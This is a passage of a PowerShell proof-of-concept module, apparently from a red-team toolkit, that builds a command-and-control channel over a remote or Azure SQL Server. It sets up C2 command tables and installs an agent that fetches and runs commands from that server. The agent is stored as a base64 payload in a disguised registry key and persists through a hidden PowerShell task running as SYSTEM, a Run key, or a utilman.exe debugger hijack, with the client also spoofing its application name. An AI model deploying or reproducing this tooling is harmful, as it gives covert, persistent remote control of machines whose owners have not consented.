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SQLC2.ps1
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SQLC2.ps1
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<#
Script: SQLC2.psm1
Version: 1.0
Description: This is a basic PoC script that contains functions that can be
used to install and manage a C2 via a SQL Server instance.
The C2 SQL Server is intended to be hosted remotely or in Azure
via a database.windows.net address. The client functions can be
run by a schedule task or other means for periodic check in
and command grabbing from the C2 SQL Server.
Author: Scott Sutherland (@_nullbind), NetSPI 2018
License: BSD 3-Clause
#>
# ----------------------------------
# Get-SQLC2ConnectionObject
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2ConnectionObject
{
<#
.SYNOPSIS
Creates a object for connecting to SQL Server.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Database
Default database to connect to.
.PARAMETER AppName
Spoof the name of the application you are connecting to SQL Server with.
.PARAMETER Encrypt
Use an encrypted connection.
.PARAMETER TrustServerCert
Trust the certificate of the remote server.
.EXAMPLE
PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp"
StatisticsEnabled : False
AccessToken :
ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application
Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes
ConnectionTimeout : 1
Database : Master
DataSource : server1
PacketSize : 8000
ClientConnectionId : 00000000-0000-0000-0000-000000000000
ServerVersion :
State : Closed
WorkstationId : Workstation1
Credential :
FireInfoMessageEventOnUserErrors : False
Site :
Container :
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
[string]$AppName = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Use an encrypted connection.')]
[ValidateSet("Yes","No","")]
[string]$Encrypt = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Trust the certificate of the remote server.')]
[ValidateSet("Yes","No","")]
[string]$TrustServerCert = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin
{
# Setup DAC string
if($DAC)
{
$DacConn = 'ADMIN:'
}
else
{
$DacConn = ''
}
# Set database filter
if(-not $Database)
{
$Database = 'Master'
}
# Check if appname was provided
if($AppName){
$AppNameString = ";Application Name=`"$AppName`""
}else{
$AppNameString = ""
}
# Check if encrypt was provided
if($Encrypt){
$EncryptString = ";Encrypt=Yes"
}else{
$EncryptString = ""
}
# Check TrustServerCert was provided
if($TrustServerCert){
$TrustCertString = ";TrustServerCertificate=Yes"
}else{
$TrustCertString = ""
}
}
Process
{
# Check for instance
if ( -not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Create connection object
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
# Set authentcation type - current windows user
if(-not $Username){
# Set authentication type
$AuthenticationType = "Current Windows Credentials"
# Set connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString"
}
# Set authentcation type - provided windows user
if ($username -like "*\*"){
$AuthenticationType = "Provided Windows Credentials"
# Setup connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString"
}
# Set authentcation type - provided sql login
if (($username) -and ($username -notlike "*\*")){
# Set authentication type
$AuthenticationType = "Provided SQL Login"
# Setup connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString"
}
# Return the connection object
return $Connection
}
End
{
}
}
# ----------------------------------
# Get-SQLC2Query
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2Query
{
<#
.SYNOPSIS
Executes a query on target SQL servers.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Threads
Number of concurrent threads.
.PARAMETER Query
Query to be executed on the SQL Server.
.PARAMETER AppName
Spoof the name of the application you are connecting to SQL Server with.
.PARAMETER Encrypt
Use an encrypted connection.
.PARAMETER TrustServerCert
Trust the certificate of the remote server.
.EXAMPLE
PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
[string]$AppName = "Microsoft SQL Server Management Studio - Query",
[Parameter(Mandatory = $false,
HelpMessage = 'Use an encrypted connection.')]
[ValidateSet("Yes","No","")]
[string]$Encrypt = "Yes",
[Parameter(Mandatory = $false,
HelpMessage = 'Trust the certificate of the remote server.')]
[ValidateSet("Yes","No","")]
[string]$TrustServerCert = "Yes",
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin
{
# Setup up data tables for output
$TblQueryResults = New-Object -TypeName System.Data.DataTable
}
Process
{
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
}
else
{
# Create connection object
$Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
}
# Parse SQL Server instance name
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
# Check for query
if($Query)
{
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Setup SQL query
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
# Grab results
$Results = $Command.ExecuteReader()
# Load results into data table
$TblQueryResults.Load($Results)
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed - for detail error use Get-SQLC2ConnectionTest
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
if($ReturnError)
{
$ErrorMessage = $_.Exception.Message
#Write-Verbose " Error: $ErrorMessage"
}
}
}
else
{
Write-Output -InputObject 'No query provided to Get-SQLC2Query function.'
Break
}
}
End
{
# Return Results
if($ReturnError)
{
$ErrorMessage
}
else
{
$TblQueryResults
}
}
}
# ----------------------------------
# Get-SQLC2ConnectionTest
# ----------------------------------
Function Get-SQLC2ConnectionTest
{
<#
.SYNOPSIS
Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.EXAMPLE
PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
.EXAMPLE
PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for output
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
Write-Verbose -Message " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
End
{
# Return Results
$TblResults
}
}
# -------------------------------------------
# Function: Get-SQLC2ComputerNameFromInstance
# ------------------------------------------
# Author: Scott Sutherland
Function Get-SQLC2ComputerNameFromInstance
{
<#
.SYNOPSIS
Parses computer name from a provided instance.
.PARAMETER Instance
SQL Server instance to parse.
.EXAMPLE
PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
SQLServer1
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
# Parse ComputerName from provided instance
If ($Instance)
{
$ComputerName = $Instance.split('\')[0].split(',')[0]
}
else
{
$ComputerName = $env:COMPUTERNAME
}
Return $ComputerName
}
# ----------------------------------
# Install-SQLC2Server
# ----------------------------------
# Author: Scott Sutherland
Function Install-SQLC2Server
{
<#
.SYNOPSIS
This functions creates the C2 SQL Server tables in the target database.
If the database does not exist, the script will try to create it.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER DatabaseName
Database name that contains target table.
.EXAMPLE
PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1
PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Database containing target C2 table.')]
[string]$Database,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'ServerName of the agent.')]
[string]$ServerName,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Command to run on the agent.')]
[string]$Command,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Create data tables for output
$TblResults = New-Object -TypeName System.Data.DataTable
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
# Test connection
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
Write-Verbose "$instance : Note: Creating DBs on thefly in Azure times out sometimes."
Write-Verbose "$instance : Attempting to verify and/or create the database $Database..."
# Create Database Query
$Query = "
If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database')
CREATE DATABASE db1
ELSE
SELECT name FROM master..sysdatabases WHERE name like '$Database'"
# Create Database results
$TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300
$RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count
if($RowCount -eq 1)
{
Write-Verbose "$instance : Verified $Database database exists or was created."
}else{
Write-Verbose "$instance : Access or creation of $Database database failed."
return
}
Write-Verbose "$instance : Creating the C2 Table in the database $Database."
# Create Database Query
$Query = "
If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS')
CREATE TABLE [C2COMMANDS]
(
[cid] int IDENTITY(1,1) PRIMARY KEY,
[servername]varchar(MAX),
[command]varchar(MAX),
[result]varchar(MAX),
[status]varchar(MAX),
[lastupdate]DateTime default (Getdate())
);
If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS')
CREATE TABLE [C2AGENTS]
(
[aid] int IDENTITY(1,1) PRIMARY KEY,
[servername]varchar(MAX),
[agentype]varchar(MAX),
[lastcheckin]DateTime default (Getdate()),
);SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'"
# Create Database results
$TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose
$RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count
if($RowCount -eq 1)
{
Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database."
}else{
Write-Verbose "$instance : C2 tables creation failed in the $Database failed."
}
}
End
{
# Return data
# $TblResults
}
}
# ----------------------------------
# Install-SQLC2AgentPs
# ----------------------------------
# Author: Scott Sutherland
Function Install-SQLC2AgentPs
{
<#
.SYNOPSIS
This functions installs a C2 Agent on the target SQL Server by creating a server link
to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download
commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell.
This requires sysadmin privileges on the target server.
.PARAMETER Instance
C2 SQL Server instance to connection to.
.PARAMETER Username
C2 SQL Server or domain account to authenticate with.
.PARAMETER Password
C2 SQL Server or domain account password to authenticate with.
.PARAMETER DatabaseName
Database name that contains target table on C2.
.PARAMETER Type
Type of persistence method to use.
.EXAMPLE
Connecting using current Windows credentials.
PS C:\> Install-SQLC2AgentPs -Verbose -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
.EXAMPLE
Connecting using current Windows credentials.
PS C:\> Install-SQLC2AgentPs -Verbose -Type Task -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'C2 SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $true,
HelpMessage = 'C2 SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $true,
HelpMessage = 'C2 SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $true,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Database containing target C2 table on C2 SQL Server.')]
[string]$Database,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Type of persistence method to use.')]
[ValidateSet("Task","RegRun","RegUtilman")]
[string]$Type = "Task",
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
}
Process
{
# check for admin privs - pending
# ------------------------------------
# Gather SQLC2 functions
# ------------------------------------
Write-Verbose " - Creating SQLC2AgentPS command."
# Setup script variable
$psscript = ""
Get-ChildItem -Path Function:\ |
Where-Object name -like "*SQLC2*" |
Where-Object -FilterScript {
$_.name -notlike '*:*'
} |
Select-Object -Property name -ExpandProperty name |
ForEach-Object -Process {
# Get the function code
$Definition = Get-Content -Path "function:\$_" -ErrorAction Stop
# $Definition
$CurrentFunction = "Function $_ `n { $Definition }"
# Add function
$psscript = "$psscript `n $CurrentFunction"
}
# ------------------------------------
# Create SQLC2 command and store it
# ------------------------------------
# my command
$SQLC2Command = "Get-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Execute"
# Add custom command
$psscript = "$psscript `n`n $SQLC2Command"
# Encode command
$psscript64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psscript))
# Write command to the registry and drop IoCs
Write-Verbose " - Attempting to write SQLC2AgentPS payload to registry keys."
if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\")
{
Write-Verbose " - Keys already exist."
}else{
# Write keys
try{
New-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ -Name SQLC2AgentPS –Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayName -Value "SQLC2AgentPS" –Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayIcon -Value "C:\Windows\System32\ComputerDefaults.exe" –Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Command -Value "$psscript64" –Force -PropertyType MultiString | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Publisher -Value "Bad Person" –Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallPath -Value "c:\windows\system32\calc.exe" –Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallString -Value "c:\windows\system32\calc.exe" –Force | Out-Null
Write-Verbose " - Keys created."
}catch{
Write-Verbose " - Unable to write SQLC2AgentPS payload to the registry."
return
}
}
# PowerShell Arguments
$PersistCommand = " -NoProfile -WindowStyle Hidden -C `"IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS' -Name Command).Command)))`""
# ------------------------------------
# Create scheduled task
# ------------------------------------
if($Type -eq "Task"){
Write-Verbose " - Attempting to create SQLC2AgentPS scheduled task."
if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 0)
{
try{
$dt= ([DateTime]::Now)
$timespan = $dt.AddYears(3) -$dt;
$SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null);
$SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString();
$Action = New-ScheduledTaskAction –Execute "powershell.exe" -Argument $PersistCommand -WorkingDirectory "C:\windows\system32\WindowsPowerShell\v1.0\"
$Trigger = New-ScheduledTaskTrigger -Once -At 12am -RandomDelay (New-TimeSpan -Minutes 1) -RepetitionDuration $timespan -RepetitionInterval (New-TimeSpan -Minutes 1)
$Principal = New-ScheduledTaskPrincipal -UserID $SystemAccountName -LogonType ServiceAccount -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet
$Object = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings
Register-ScheduledTask "SQLC2AgentPS" -InputObject $Object | Out-Null
Write-Verbose " - Task created."
}catch{
Write-Verbose " - Failed to create SQLC2AgentPS scheduled task."
}
}else{
Write-Verbose " - Task already exists."
}
}
<#
# ------------------------------------
# Create WMI Subscription - pending updates
# ------------------------------------
# “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5”
Write-Verbose " - Attempting to create SQLC2AgentPS WMI subscription."
# Create filter (trigger)
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = "root\cimv2"
Name = "SQLC2AgentPS_Filter"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = "WQL"
}
# Create consumer (the command to run)
$Command = "PowerShell.exe $PersistCommand"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "SQLC2AgentPS_Consumer"
CommandLineTemplate = $Command
}
# Create binding (connecting the trigger and command to run)
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Name = "SQLC2AgentPS_Binding"
Filter = $Filter
Consumer = $Consumer
}
#>
# ------------------------------------
# Create registry run
# ------------------------------------
if($Type -eq "RegRun"){
Write-Verbose " - Attempting to create SQLC2AgentPS registry run key."
$Command = "PowerShell.exe $PersistCommand"
# Check if property exists
try{
Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null
Write-Verbose " - Key already exists."
$RunCheck = 1
}catch{
$RunCheck = 0
}
# Add property
if ($RunCheck -eq 0){
try{
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -Value "$Command" –Force | Out-Null
Write-Verbose " - Key created."
}catch{
Write-Verbose " - Failed to create registry run key."
}
}
}
# ------------------------------------
# Create registry utilman.exe debugger
# ------------------------------------
if($Type -eq "RegUtilman"){
Write-Verbose " - Attempting to create SQLC2AgentPS registry key for utilman.exe debugger."
$Command = "PowerShell.exe $PersistCommand"
if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\")
{
Write-Verbose " - Key already exists."
}else{
# Write the key
try{
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" -Name UtilMan.exe –Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UtilMan.exe" -Name Debugger -Value "$Command" –Force | Out-Null
Write-Verbose " - Key created."
}catch{
Write-Verbose " - Failed to create registry key for utilman.exe debugger."
}
}
}
}
End
{
}
}
# ----------------------------------
# Install-SQLC2AgentLink
# ----------------------------------
# Author: Scott Sutherland
# Todo: Fix handling of multi-line command output.
Function Install-SQLC2AgentLink
{
<#
.SYNOPSIS